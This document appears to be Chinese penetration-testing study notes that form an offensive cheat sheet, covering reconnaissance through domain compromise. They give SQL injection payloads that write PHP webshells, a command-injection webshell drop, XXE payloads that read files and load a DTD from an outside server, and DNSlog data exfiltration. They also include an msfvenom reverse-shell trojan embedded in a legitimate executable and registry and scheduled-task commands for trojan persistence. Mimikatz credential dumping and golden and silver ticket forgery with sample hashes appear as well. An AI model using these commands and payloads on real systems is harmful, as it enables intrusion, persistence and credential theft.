# 确定目标

域名 IP 公司名称 小程序、公众号、自媒体账号 app

# 信息收集

企业信息

icp 备案 域名 搜索引擎 WHOIS 爱企查

人员

小蓝本

子域名

IP

端口

  • nmap 扫服务
  • masscan 扫端口

网站指纹

  • 架构、语言、中间件
    • 响应头
    • 浏览器插件
    • 工具:Ehole、whatweb (kali)
    • 在线平台:whatcms.orgyunsee.cn,潮汐指纹

CDN

  • 检测是否有 CDN 方法
    • 国外有可能有真实 IP 地址
    • 多地 ping
    • nslookup xxx.cn 1.1.1.1
    • myssl.com
  • 绕过
    • ping 子域名

旁站

  • 其他服务

C 段

  • 192.168.0.0/24

目录探测

  • 御剑
  • WebPathBrute
  • DirBuster
  • dirb(kali)
  • robots.txt
  • dirsearch

WAF

  • Heimdallr (停止维护)
  • WAF(kali)
  • 空间测绘
  • vpn.xxx.com

泄露接口

敏感信息

源代码

  • GitHack(git 源码泄露)
  • Seay-SVN(SVN 源码泄露)
  • mac
  • 三合一:github.com/0xHJK/dumpall
  • 网站备份 bak zip tar

# 搜索语法

# Google

语法 含义 示例
OR(必须大写) 有其中一个关键字 通缉犯 OR 悬赏
- 排除相关关键字 小米 - 手机 -Mi
“ ” 严格按关键字搜索 “小米”
intitle: 包含标题有关键字 intitle: 后台登录 intitle:index of
* 任意一个字符 inurl:*.baidu.com
site: 限定域名来自于关键字 site:zhihu.com
inurl: url 中有关键字 inurl:login
intext: 内容包含关键字 intext: 星星
filetype: 包含文件类型 intitle:"身份证" &&"清单" | "名单" filetype:pdf
link 包含链接 link:baidu.com

# 空间测绘 (fofa)

关键字 示例
domain domain="xxx.cn"&& (title=" 管理 ")
title title="管理"
protocol domain="enn.cn" && (protocol="ftp" ll protocol="mysql" )
body body=“xxx”&& (title="管理")
app domain="enn.cn"&& (app=" 管理 ")

# 漏洞利用

POC:漏洞验证代码

EXP:漏洞利用代码

集成工具

Goby(Windows,收费)

ARL(linux docker 部署,收费,免费版停止维护)

# SQL 注入(mysql)

# 查询数据

' or 1=1 --			##万能查询注入sql
' or '1'='1			##删除sql注入
show warning		##查看报错
INSERT INTO users(uid uname,password isadmin)
SELECT 2,Hanson02','xmf123',1;			## 常用 insert
Insert into users(uid,username,password,isadmin)
Values(1,'<scipts javascript>cracker,60,60,G0</scripts>''hs123' 1)		## 后门思路
                  
show cloumns from users;		## 显示字段
show create table users;		## 显示字段
Select * from users where uid in (select uid from admin)## 两表查相同数据
select * from users union select * from admin;				## 两表全查
select * from user where uid = 11079 union select 1,2,user() ,database(),@@datadir;	## 获取数据库名称,数据库路径,数据库用户
and !!!2=2		## 用多重不等于判断
'))")) --+			## 判断闭合方式

# 权限控制

grant all privileges on *.* to admin@'%' identified by 'admin.123'		## 创建用户密码并允许所有 IP 访问所有数据库

# 重点表

mysql.user	host,user,authentication_string		## 数据库用户信息
	 .db			## 存放数据权限表单
	 .columns_priv		## 字段权限表
infomation_schema.chemata		## 保存当前系统中所有数据库信息
				 .tables		## 表的信息
				 .columns		## 字段

# 数据库函数

version()		## 数据库版本
user()
database()
@@datadir()
length()
联合注入:
concat()		## 没有分隔符的连接字符串
group_concat()	## 多个数据在一行取出
rand()			## 随机函数
floor()			## 取整函数
count()			## 汇总函数
group by clause	## 分组语句
报错注入:
EXTRACTVALUE(xxx,concat('~',payload,'~')) 		##xml 查询爆破,第二个参数可控
updatexml(xxx,payload,xxx)--+	## 同上
ST_LatFromGeoHash()
ST_Pointfromgeohash()
GTID()
exp()
盲注:
left()			## 取最左边的字符		select left (database (),1)='s'
substring()		## 取字符串任意长度的字符
position()		## 取集中的位置
show variables like 'general%'; 	## 查看 mysql 日志存放路径
set global general log ="ON";		## 开启 mysql 日志
set globalgeneral log fle-"D:\phpstudy pro\wwwshell.php";		## 设置 mysql 日志目录

# 注入语句示例

?id=1' or 1=1 --+ # %23						##简单注入
?id=1 order by 3
?id=1' union select 1,version(),database()	## 简单联合注入
?id=1' AND 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+			##联合注入查表
?id=1' and (ascii(substr((select database()) ,4,1))) = 117 --+ ## 盲注
?id=1' and if(1=1, sleep(5), null)  --+		##时间盲注
?id=1' or updatexml(1,concat('~',(select database())),1)  --+	## 报错注入
## 请求头注入
先在数据库中插入payload再进行注入	## 二次注入
?id=1' union select 1,loadfile(concat('//',(select database()),'.m0bkps2j.eyes.sh/abc')),3 --+
									##DNSLOG 注入,前提 secure_file_priv = 为空,服务器为 Windows
									
kobe%df'+or+1=1#  ##宽字节注入
?id=-1'  union select 1,2,load_file('C:/phpstudy_pro/WWW/sqli/sql-connections/db-creds.inc') %23					##sql 查文件,前提 secure_file_priv = 为空
?id=-1'  union select 1,2,'<?php 
eval($_POST["pass"]);'
 into outfile 'C:/phpstudy_pro/WWW/sqli/sql-connections/1.php' %23
										##sql 写文件,前提 secure_file_priv = 为空

# XSS

# CSP 策略

只允许加载本地源图片,用于防止 XSS 注入

# 文件上传

# update-labs 攻略(php)

关卡 通关技巧
1 前端 js 绕过,删除对应代码
2 修改请求头文件类型
3 上传 php 其他文件类型绕过
4 上传.htaccess 文件绕过
5 大小写绕过: phP
6 空格绕过: php
7 . 绕过: php. (Windows 特性)
8 文件隐藏寄生: .php::$data (Windows 特性)
9 规则多写绕过: .php. .
10 双写: .pphphp
11 文件名后 %00 截断 ( %00=null
12 同 11 关,区别是 post 请求
13 图片码 copy xxx.jpg /b + shell.php /a webshell.php <br /> /b :以二进制文件格式打开 <br /> 头部 2 字节检测,文件包含漏洞
14 同 13 关
15 判断文件类型
16 上传的图片码会二次渲染后保存新图片,将无用的十六进制去除 <br /> 找和原图片码相同的十六进制插入 payload,gif 格式更容易通过
17 条件竞争,并发上传,文件短时间内会在对方服务器上保存 <br /> 访问文件,目的是为了写入另一个文件
18 同 17,但需确认 apache 用哪些后缀进行 php 解析 (httpd.conf)
19 上传文件名称保存 php
20 1 修改文件类型 image/jpeg<br />2. 名称 name='save_name [0]' <br />3. 名称 name='save_name [2],<br />4. 后缀类型改为 jpg

# 文件包含(php)

本地文件包含(LFI:local file include)

远程文件包含(MFI:Remote file include)

  • 调用使用 http

  • allow url fopen=on 必须是开

  • allow url include=on 必须是开

  • 文件包含当利用 include\include_once\require\require_once 函数调用,不管什么文件都会被解析执行

伪协议

file://							## 必须使用绝对路径,不受配置影响
php://filter/resource | **...	##
php://input						## 可用 post,不受配置影响
phar://							##zip 内的文件调用,不受配置影响
zlib://compress.zip://			## 调用,不受配置影响
data://text/plan,base64, 代码	   ## 配置必须是 on
日志文件getshell				  ## 要使用 base64 传输到 log 文件利用

# CSRF

XSS 和 CSRF 的区别

  • XSS 主要是盗取受害者的 cookie
  • CSRF 是直接利用受害者在客户端未失效的身份信息

攻击方式

  1. 构造隐藏表单
  2. 构造图片或链接隐藏
  3. 利用 js 自动执行
  4. 利用第三方网站或应用来执行
  5. 自媒体

# DVWA

CSRF

低:删除 Referer

中:构造 get 请求,修改 Referer

# 结合 XSS

使用 img|scirpt src=get 方式

# SSRF

http://www.baidu.com/link=http://www.bai.com

利用 SSRF 漏洞:目标是从外网无法访问的内部系统

常见于分享链接,转发,有道翻译,转码(转客户端)服务,未公开的 api,图片加载和下载

1. 可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的 banner 信息;

2. 攻击运行在内网或本地的应用程序 (比如溢出);
3. 对内网 web 应用进行指纹识别,通过访问默认文件实现;
4. 攻击内外网的 web 应用,主要是使用 get 参数就可以实现的攻击 (比如 struts2,sq1i 等);
5. 利用 file 协议读取本地文件等。
6. 各个协议调用探针:http,file,dict,ftp,gopher 等

  • 从 url 中找关键词
利用 google 语法加上关键字找 SSRF 漏洞
?share=
?wap=
url
link
src
source
target
display
sourceURL
imageURL
domain
  • 利用伪协议
file://C:rebots.txt
dict://192.168.0.0:80 | 0.0:3306	 ## 用于获取目标服务器端口上运行的服务版本信息
ftp://0.0:3389						 ## 不太准 需要内置 ftp 命令
sftp://								 ## 类似 ssh
gopher://0.0:80/_POST/user.txt%20<br>host:www.ssrf.com:80

# 绕过思路

php 加 @

http://www.aaa.com@www.bbb.com

短链接

ip 进制转换

2 进制
8 进制
16 进制
ipv6:[::1]
颜文字数字:1️⃣

CRLF 编码

# 总结

  • Xss 跨站脚本攻击:利用 HTML 执行攻击,受害者是用户,盗取 cookie
  • CSRF 跨站请求伪造:利用受害者未失效的身份认证信息,对服务器直接执行攻击
  • SSRF 服务器请求伪造:利用服务器的身份去执行攻击

# RCE 任意命令执行漏洞

条件

1、代码中存在调用命令的函数

2、函数中存在用户可控的点

3、可控点没有过滤,或过滤不严格

pikachu RCE exel ping 抓包

127.0.0.1 && echo "<?php eval($_GET['a']);?>" > rcshell.php

绕过思路

前提:需要知道服务器上的文件目录
拼接绕过,结合系统的特性来
linux   cat user.txt => a=c;b=at;c=user;$a$b $c.php	
windows可以使用环境变量特性,用~进行拼接
cat b >> a

空格绕过
+ %09

单引号,双引号绕过
cat user,txt => ca""t us''er.txt

转义符:\
cat user.txt =>ca\t u\s\e\r.txt

管道符:|
user.txt 进行base64编码 dXN1ci50eHQ=cat 
cat "dxNlci50eHQ=" | base64 -d
通配符绕过:
*:任意字符
?:任意单个字符
cat us??.txt   cat u???.???

linux  网站需要有写权限
cat>/etc/passwd

无回显 仅 linux

ping 'whoami'.dnslog...

# 挖掘技巧

白盒

直接搜索含有常用的调用函数,上下文看看有没有可控的参数

黑盒

找到系统可能调用的第三方资源,猜测后台代码是什么样的,后进一步进行分析,是否存在限制或者漏洞,用 fuzz 进行测试

# XXE 漏洞

pikachu xxe 漏洞

读服务器文件

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY yjjy SYSTEM "file:///c:/windows/win.ini">
]>
<foo>&yjjy;</foo>

远程加载

自建服务器,存放dtd文件
<!ENTITY yjjy SYSTEM "file:///c:/yjjy.txt">
前端传参
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % a SYSTEM"http://10.135.32.105/yjjy.dtd">
%a ;
]>
<foo>&yjjy;</foo>
通过http协议,协助SSRF
无回显
伪协议请求

# 挖掘技巧

通过文件类型进行判断

<?xml version="1.0"?>
<!DOCTYPE fo [
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
]>
<user><username>
&xxe ;
</username><password>bb</password></user>

通过参数传递(需要 url 编码)

xml=xxxxxxxxxxx

通过修改请求头 MIME

比如json
将MIME的application/json -> application/xml
{username:'aaa','password':'bbb'}
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY d SYSTEM "file:///C://Windows//win.ini">
<user>
<username>&d;</username><password>aaa</password></user>

# 反序列化漏洞

利用条件

  1. 必须有 unserialize () 函数
  2. unserialize () 函数的参数必须可控
  3. 文件中存在可利用的类,且类中有魔术方法

php 序列化

new car("byd","混动",2022,12.99);
0:3:"car":4: {s:7:"carName";s:3:"BYD";s:6:"system";s:6:“混动";s:4:"date";i:2022;s:5:"price";d:12.99;}
数据 表示
0:3:"car":4 O:object,3:3 个字符,car:对象,属性个数
s:7:"carName"; S:String,7:7 个字符,carName:值
i:2022; i:int,值:2022
d:12.99; d:float 浮点数,12.99:值

反序列化

object(_PHPIncomplete_Class)#1(5){
	["_PHP_ Incomplet_Class_Name"]=>string(3) "car" 
    ["carName"]=> string(3) "BYD"
    ["system"]=> string(6) "混动" 
    ["data"]=>int(2022) 
    ["price"] => float(12.99)
}

POP 链

<?php
$a = unserialize($_GET['a'])
echo $a;
<?php
$a= new Error("<scrpt>alert(1)</scrpt>");
$b = serialize($a);
echo urlencode($b);

pikachu 反序列化漏洞

<?php
    class S
    {
		var $test=''pikachu;
    }
	$s= new S();
	$s-> test = "<script>alert(0)<script>
	$aa= serialize($s)
	echo $aa;
>

# 逻辑漏洞

常见漏洞

  1. 支付漏洞
  2. 修改密码
    • 需要旧密码
      • 验证不输入旧密码可否修改,或者尝试抓包将提交旧密码参数删除
      • 验证旧密码输入处是否存在 sql 注入
      • 验证是否可跳过输入旧密码步骤直接修改新密码
    • 不需要旧密码
      • 验证修改密码提交数据中是否包含了用户身份信息
      • 验证提交的用户身份信息被修改后是否可以成功修改
      • 验证修改 cookies 中的每一项包含用户身份的信息是否会影响修改结果
      • 验证是否可以在不登陆的情况下直接提交修改密码的请求进行修改
      • 验证是否可以越权修改任意用户密码
  3. 密码找回
  4. 越权

# 漏洞扫描

AWVS 漏洞扫描工具

one-fox 漏洞工具集合 xray 漏洞扫描工具 goby 漏洞扫描 Yakit 漏洞扫描

afrog 漏洞扫描

nuclei poc: https://github.com/ExpLangcn/NucleiTP

# 配置挖洞环境

burp 插件

名称 下载地址 说明 注意
FakeIP https://github.com/AeolusTF/BurpFakeIP 源 IP 管理
Hae BP 商店 历史高亮 需要更新配置文件
Knife https://github.com/bit4woo/knife 中文字符,过滤杂包,常用 payload
DomainHunterPro https://github.com/bit4woo/domain_hunter_pro 综合收集信息插件
xialiao BP 商店 自动生成数据便于注册(fuzz)
xiayue https://github.com/smxiazi/xia_Yue 越权
autoDecoder https://github.com/f0ng/autoDecoder 数据包的处理(加解密、爆破)
Turbo Intruder https://github.com/PortSwigger/turbo-intruder 请求轰炸

浏览器插件

名称 下载地址 说明
charset 商店 修改编码
superSearchPlus 商店 信息收集
hackbar 商店 请求工具
findsomething 商店 信息收集
User-Agent Switcher for Chrome 商店 UA 设置
Proxy SwitchyOmega 3 (ZeroOmega) 商店 代理配置
Wappalyzer 商店 信息收集
WhatRuns 商店 信息收集

# 内网渗透

渗透步骤

信息收集 > 获取权限 > 横向移动 > 权限维持 > 清理痕迹

windows 信息收集

linux 信息收集

# MSF

名词

exploit: 攻击方式
payload: 攻击载荷
auxiliary: 辅助检测(收集)

目录说明

目录 说明
auxiliary 主要包含渗透测试中一些辅助性的脚本,这些即本功能有扫描,嗅探,破解,注入,漏洞挖掘等。
encoders 存放各种编码,主要用于绕过入侵检测和过滤
exploits 包含了 exp、0day, 各种洞利用的脚本,主要的攻击代码全在这
exp 的路径的命名规则是: 系统/服务/模块 ,例如: exploit/windows/local/tokenmagic
payloads 主要是在目标机执行
命名规则: 系统/类型/名称
post 这个目录里放着 msf 的 exploits 执行成功后,向目标机执行的一直些操作,比如:提权,获取 shell

基本命令

msfconsole 									## 启动 MSF	
apt-get isntall metasploit-framework 		## 更新 MSF (root 用户)
search name:ms17 type:exploit				## 搜索
use	0										## 使用
back										## 返回
show option									## 查看选项
show payloads								## 查看 payload
show targets								## 查看目标列表
set/unset									## 设置值

类型命名规则

shell:			上传一个 shell
dllinject:		注入一个 dll 到进程
patchup:		修补漏洞
upexec:			上传并执行一个文件
vncinject:		高级的 payload
meterpreter:	高级的 payload
passive:		高级的 payload

名称命名规则

shell_find_tag		在一个已建立的连接上创建一个新 shell
shell_reverse_tcp	反向连接到攻击者主机并创建一个 shell
bind_tcp			监听一个 TCP 连接
reverse_tcp			反向建立 tcp 连接
reverse_http		反向建立 http 连接
add_user			创建一个新用户并添加到管理组
tcp_allports		在所有可能的端口进行测试

# Meterpreter

background			放置后台
sessions			会话列表
getuid				获取账户信息

# msfvenom-payload 木马

-l  列出所有可用的payload,编码器,空指令……
    payloads, encoders, nops, platforms, archs, encrypt, formats, all
    查看所有payloads: msfvenom -l payloads
    查看所有encoders:
-p  指定要使用的msf的payload,也可以使用自定义payload,几乎是支持全平台的
-a	选择架构平台 x86 | x64 | x86_64
-f  指定payload输出的文件类型,--help-formats,可查看支持的所有输出格式
-e  指定要使用那种编码器
-i  指定编码的次数,如果使用编码器
-b  指定坏字符,比如空字符截断问题,等等……
-x  使用一个自定义可执行程序模板,并将payload嵌入其中
-k  当模板被执行时,payload自动分离并注入到新的进程中,一般和-x选项一并使用
-o  指定创建好的payload的存放位置
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.1698.0.0 lport=4444 -x npp.exe -f exe > xxx.exe
use exploit/multi/handle
handle -H 0.0.0.0 -P 4444 -p windows/meterpreter/reverse_tcp

# CS(Cobalt Strike)

关键文件 — 放入 linux,赋予 X 权限

teamserver
TeamServerImage
./teamserver ## 启动

界面说明

Beacon: 轻量级的命令与控制代理
TeamServer: 团队成员协作的核心
有效载荷:用于在目标系统建立 Beacon
监听器:用于接收 beacon 连接的服务
后渗透工具:自己添加
模拟攻击:钓鱼攻击

会话转移

background
set session										## 选择会话
use exploit/windows/local/payload_inject		## 使用模块
set payload windows/meterpreter/reverse_http	## 设置 payload
set lhost	xxx									## 设置为 csIP 和端口
set disablepayloadhandle true					## 关闭原本 payload 的监听
exploit | run -j								## 运行并转接

扩展插件

自己搜补充

# windows 提权

getshell 提权

通过网站漏洞进行提权,先小马,再大马 (CS 或者其他)

内核漏洞提权

方法 1:使用 MSF getsystem
		getuid
		migrate	进程号
方法 2:内核提权
		利用系统补丁获取漏洞
		补丁分析平台:https://tools.zjun.info/getmskb/
		exp 平台:https://github.com/SecWiki/windows-kernel-exploits/tree/master
方法 3:BypassUAC
		msf 里面搜索 bypassuac
		search bypassuac
		
方法 4:UACME 提权
	项目地址:https://github.com/hfiref0x/UACME
	代码:akagi64 61 c:\windows\system32\charmap.exe
	使用  方法:程序名 编号 想要执行的程序
	思路:将要执行的程序换成提权程序或是木马文件

# linux 提权

内核漏洞提权

效率最高的提权方式:
	通过工具或脚本确认当前系统可以提权的CVE或直接通过工具提权
	工具:
	1.linux-exploit-suggester
	项目地址:https://github.com/The-Z-Labs/linux-exploit-suggester
	2.linux-exploit-suggester-2
	项目地址:
		https://github.com/jondonas/linux-exploit-suggester-2/
脚本利用合集:
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
重点关注:脏牛(Dirty COW)Dirty Pipe(CVE-2022-0847)
SUID:临时在系统中运行高权限的应用,必须是root权限
寻找SUID:
方法1:利用命令寻找
	find / -user root -perm -4000 -print 2>/dev/null
	find / -perm -u=s -type f 2>/dev/null
	find / -user root -perm -4000 -exec ls -ldb {} \;
	find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;
	find . -perm /4000
	
有安全问题的指令程序:
    Nmap   (2.02<= nmap<5.2)  带交互模式,允许执行shell命令
    		5.2.0之后 echo 'os.execute("/bin/sh")' > getshellsudo nmap --script=getshell
	vim
    find
    Bash
    More
    Less
    Nano
    cp
    taskset
    xxd

错误配置提权

错误配置了 sudoer 文件,允许指定用户具备 sudo 所有权限
面试问题:
	sudoers 和 suid 提权,有什么区别?
区别:
	sudoers 提权是长期,suid 是临时的(前者第一次使用需要当前用户密码)

检测

  1. https://github.com/diego-treitos/linux-smart-enumeration
  2. https://github.com/peass-ng/PEASS-ng/releases/tag/20240919-31659910

# 数据库提权

前提

  • 数据库服务没有降权
  • 获得 root 用户账号密码

常见数据库端口

MySQL			3306		root
SQL Server		1433		sa
Oracle			1521		sys 或 system
pointbase		9092
DB2				50000		
sybase			5000
postgreSQL		5432		postgre
mongoDB			27017
redis			6379
memcached		11211

方法

  • 查看数据库文件
常见数据库配置文件或文件夹:
	db
    sql
    data
    inc
    config
    conn
    database
    common
    include
    application
  • 查看数据库备份文件
(mysql).myd

数据库加密方式

select password('mypassword'),concat('*',sha1(unhex(sha1('mypassword'))));
## 使用了两次 SHA1 夹着一次 unhex 的方式对用户密码进行加密,要访问需要数据库开启远程访问

# windows 权限维持

隐藏木马

## 系统保护并且隐藏的文件
attrib +s +h  xxx.txt

关闭程序时触发木马 —— 修改注册表

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\windows\new.exe"

打开程序时触发木马(下面代码有 bug)

## copy要负载的程序
copy calc.exe _calc.exe

## 添加注册表
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\calc.exe" /v Debugger /t reg_sz /d "cmd /C _calc.exe & C:\windows\new.exe" /f

系统登录触发木马 ——winlogon

## 修改注册表中的Userinit的值

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /V "Userinit" /t REG_SZ /F /D "C:\Windows\system32\userinit.exe,C:\windows\new.exe"

服务 ——MSF(重启后)

使用入侵木马
监听运行
使用服务木马

生成计划任务 schtasks

schtasks /Create /TN bak /SC DAILY /ST 19:49 /TR "c:\test.exe"

踩坑说明:
	木马路径不要使用有空格的目录

开机启动项 —— 菜单 \ 程序 \ 启动

镜像劫持

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\calc.exe" /f  
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\calc.exe" /v Debugger /t REG_SZ /d "C:\test.exe" /f

# Linux 权限维持

见 74

# 横向移动

寻找域控(CS 操作)

##看IP地址
ipconfig /all

##看域名
systeminfo

##插件获得密码

##IPC挂载
net use z: \\IP地址或主机名 “密码” /user:域\用户

##上传木马到域控(木马是正向连接)
copy 木马 \\192.168.0.0\C$

##创建计划任务

##CS连接
connect 192.168.0.0 4444

常见端口

135,139,445,21,22,23,25,53,80,110,443,1433,1521,1863,3306,3389,5631,5632,5000
  
21 端口:FTP 文件传输服务
22 端口:SSH 端口
23 端口:TELNET 终端仿真服务
25 端口:SMTP 简单邮件传输服务
53 端口:DNS 域名解析服务
80 端口:HTTP 超文本传输服务
110 端口:POP3 “邮局协议版本 3” 使用的端口
443 端口:HTTPS 加密的超文本传输服务
1433 端口:MS SQL*SERVER 数据库 默认端口号
1521 端口:Oracle 数据库服务
1863 端口:MSN Messenger 的文件传输功能所使用的端口
3306 端口:MYSQL 默认端口号
3389 端口:Microsoft RDP 微软远程桌面使用的端口
5631 端口:Symantec pcAnywhere 远程控制数据传输时使用的端口
5632 端口:Symantec pcAnywhere 主控端扫描被控端时使用的端口
5000 端口:MS SQL Server 使用的端口

# 密码喷洒

工具

(新)impackt 套件下载地址:数据包 (coresecurity.com)

(老)windows:https://github.com/maaaaz/impacket-examples-windows

喷洒利用

atexec:自带提权

域环境用法:
atexec.exe <domain>/<username>:<password>@<ip> "<payload>"
单个设备本地使用:
atexec.exe ./<username>:<password>@<ip> "<payload>"
使用 hash:(hash 是密码的 hash)
atexec.exe  -hashes :<hash> <domain>/<username>@<ip> "<command>"

python 转 exe

1. pip install pyinstaller

2. 在Terminal下输入:“pyinstaller -F -w  *.py” 就可以生成exe。生成的文件放在同目录dist下。

 -F(注意大写)是所有库文件打包成一个exe

 -w是不出黑色控制台窗口。

socket 代理转发

  • CS 客户端找到拿到 webshell 的 webser, 右键 ==> 代理转发 ==>socks 代理

  • 利用 proxifiler (在使用当中更灵活)

windows 本地密码爆破

  • python 库 passlib.hash 对应 windows 中的密码
  • lsass.exe 处理用户输入密码的进程

# 黄金票据

什么是黄金票据及对应服务

● Client - 客户端
● Server - 服务器
● KDC=DC (Domain Controller) =
  ○ AD(account database)+
  ○ AS(Authenication Service 认证服务)+
  ○ TGS(Ticket Granting Service 票据授予服务 - 白银票据)
  
票据(Ticket):是网络对象互相访问的凭证
TGT(Ticket Granting Ticket):用来生成票据的,票据(Ticket)他妈 —— 黄金票据
	用于身份认证、存储在内存当中,默认有效期为 10 个小时
KDC:负责管理票据、认证票据、分发票据

黄金票据伪造

  • krbtgt 是域中的一个特殊用户,该用户是用于 Kerberos 身份验证的帐户,获得了该用户的 hash,就可以伪造票据进行票据传递

  • 使用 lrbtgt 用户生成票据被称为黄金票据( TGT

特点

  • 需要与 DC 通信
  • 需要 krbtgt 用户的 hash( KDChash )

# 获取 krbtgt 用户 hash

  • 利用:mimikatz

  • 好处:会模拟域控,向目标请求账号的密码信息。动静很小,不用直接登录域控,也不需要提取 NTDS.DIT 文件

  • 注意:需要域管理员或其他类似的高权限账号

mimikatz @lsadump::dcsync /user:krbtgt
或
dcsync god.org god\krbtgt
或
shell wmic useraccount where name="krbtgt" get sid

# 伪造黄金票据

使用之前:
mimikatz kerberos::list	  查看所有凭据信息
mimikatz kerberos::purge  清除凭据

命令格式:mimikatz kerberos::golden /domain:<域名> /sid:<域SID> /rc4:<KRBTGT NTLM Hash> /user:<任意用户名> /ptt

示例:
mimikatz kerberos::golden /domain:god.org
 /sid:S-1-5-21-1218902331-2157346161-1782232778 /rc4:b097d7ed97495408e1537f706c357fc5 /user:administrator /ptt

# 利用 MSF 来伪造

1)将会话转交给 MSF

CS 添加监听器:foreign_http
    IP 为 MSF 地址
    
MSF 启动监听器:
    handler -H CS 服务器地址 -P 监听端口 -p windows/meterpreter/reverce_http
cs 上选择对应会话,凭据提取 -> 新建会话

2)利用

使用 meterpreter 中的 kiwi 模块:
	load kiwi
	
创建票据
	命令格式:golden_ticket_create -d <域名> -u < 任意用户名 > -s <Domain SID> -k <krbtgt NTLM Hash> -t <ticket 本地存储路径如:/tmp/krbtgt.ticket>

# 白银票据

特点

  • 无需与 KDC 交互

  • 需要目标服务器的 NTLM hash--- 服务类型

# 信息收集

域名 net time /domain    ipconfig /all 
域的 SID 值 (去掉最后的 500)  wmic useraccount get name,sid
目标机器的 FQDN  net time /domain  就是 hostname + 域名 /target:\\WIN-75NA0949GFB.god.org
可利用的服务 CIFS (磁盘共享的服务) /service:CIFS   
要伪造的用户名  /user:Administrator
服务账号的 ntlm hash (Primary Username : WIN-75NA0949GFB$ 带 $ 的 hash,不是 admin 的) /rc4:08d93ddf15a6309a46daaa7ec8565296
# 生成了 mimikatz.log 文件 (域控主机执行)
mimikatz.exe log "privilege::debug" "sekurlsa::logonpasswords" exit
/user: 要伪造的目标用户 / 计算机 Target Account/Computer to Impersonate
/ptt: Optional (Will Inject Ticket or you can do with Rubeus)
/service:cifs   服务参数为 cifs
/domain    参数为域名
/sid       参数为域 sid (whoami /user)
/target    The FDQN 指定域内的机器  /target:WIN-75NA0949GFB.god.org
/rc4       服务账号的 ntml hash
/user      需要伪造的用户名  NTLM Hash of User Password/Computer Password

# 获取服务器 NTLM hash

服务器服务NTLM hash: 计算机名+$

mimikatz privilege::debug 
mimikatz sekurlsa::logonpasswords

# 伪造过程

格式:mimikatz kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器FQDN> /service:<服务类型> /rc4:<服务账号NTLM Hash> /user:<需要伪造的用户名> /ptt

FQDN:计算机名+域名
域控制:OWA2010CN-God.god.org


OWA2010CN-GOD$:2c86f8495f015ed909fa0c158da87914

用普通用户执行:
格式:mimikatz kerberos::golden /domain:god.org /sid:S-1-5-21-1218902331-2157346161-1782232778 /target:OWA2010CN-God.god.org /service:cifs /rc4:2c86f8495f015ed909fa0c158da87914 /user:administrator /ptt

# 区别

访问权限不同

TGT:可以获取任何 kerberos 服务权限
TGS:只能访问指定的服务

加密方式不同

TGT:由 kerberos 的 hash 加密
TGS:由服务器密码的 Hash 加密

认证流程不同

TGT:需要和域控交互
TGS:直接跳过域控访问对应服务器
重点提示:
ERROR kuhl_m_kerberos_ptt_data ; LsaCallAuthenticationPackage KerbSubmitTicketMessage : c000000d 经过我的一系列实验,域成员主机如果为 windows xp 或 windows server 2003,是无法正常伪造票据的

# 靶场

BLUE-LOTUS		## XSS 构造模板靶场
TLXSS 平台			## xss 构造模板平台
Beef-Xss		## XSS 工具(Kali 自带)
sqli-labs		## sql 注入靶场
exphub			## exp 靶场
pikachu			## 漏洞通用靶场
awvs			## 漏洞通用靶场
vulfocus		## 漏洞集合靶场
update-labs		## 文件上传靶场
xxe-lab			## XXE 靶场
portSwigger		## 逻辑靶场
ctf.show		##ctf 靶场
doraBox
BruteForc
vulmap
appscan
xray